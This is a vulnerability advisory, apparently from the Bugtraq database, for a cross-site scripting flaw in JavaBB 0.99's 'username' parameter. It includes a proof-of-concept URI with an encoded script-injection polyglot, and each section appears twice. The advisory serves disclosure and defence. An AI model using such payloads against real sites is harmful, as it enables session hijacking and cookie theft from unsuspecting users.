JavaBB 'userId' Parameter Cross Site Scripting Vulnerability
BID:52545
Info
JavaBB 'userId' Parameter Cross Site Scripting Vulnerability
| Bugtraq ID: | 52545 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 18 2012 12:00AM |
| Updated: | Mar 18 2012 12:00AM |
| Credit: | Sony |
| Vulnerable: |
JavaBB JavaBB 0.99 |
| Not Vulnerable: | |
Discussion
JavaBB 'userId' Parameter Cross Site Scripting Vulnerability
JavaBB is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
JavaBB is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Exploit / POC
JavaBB 'userId' Parameter Cross Site Scripting Vulnerability
The following example URI is available:
http://www.example.com/pm.externalSend.jbb?userId=42888&username=teapro%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
The following example URI is available:
http://www.example.com/pm.externalSend.jbb?userId=42888&username=teapro%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Solution / Fix
JavaBB 'userId' Parameter Cross Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].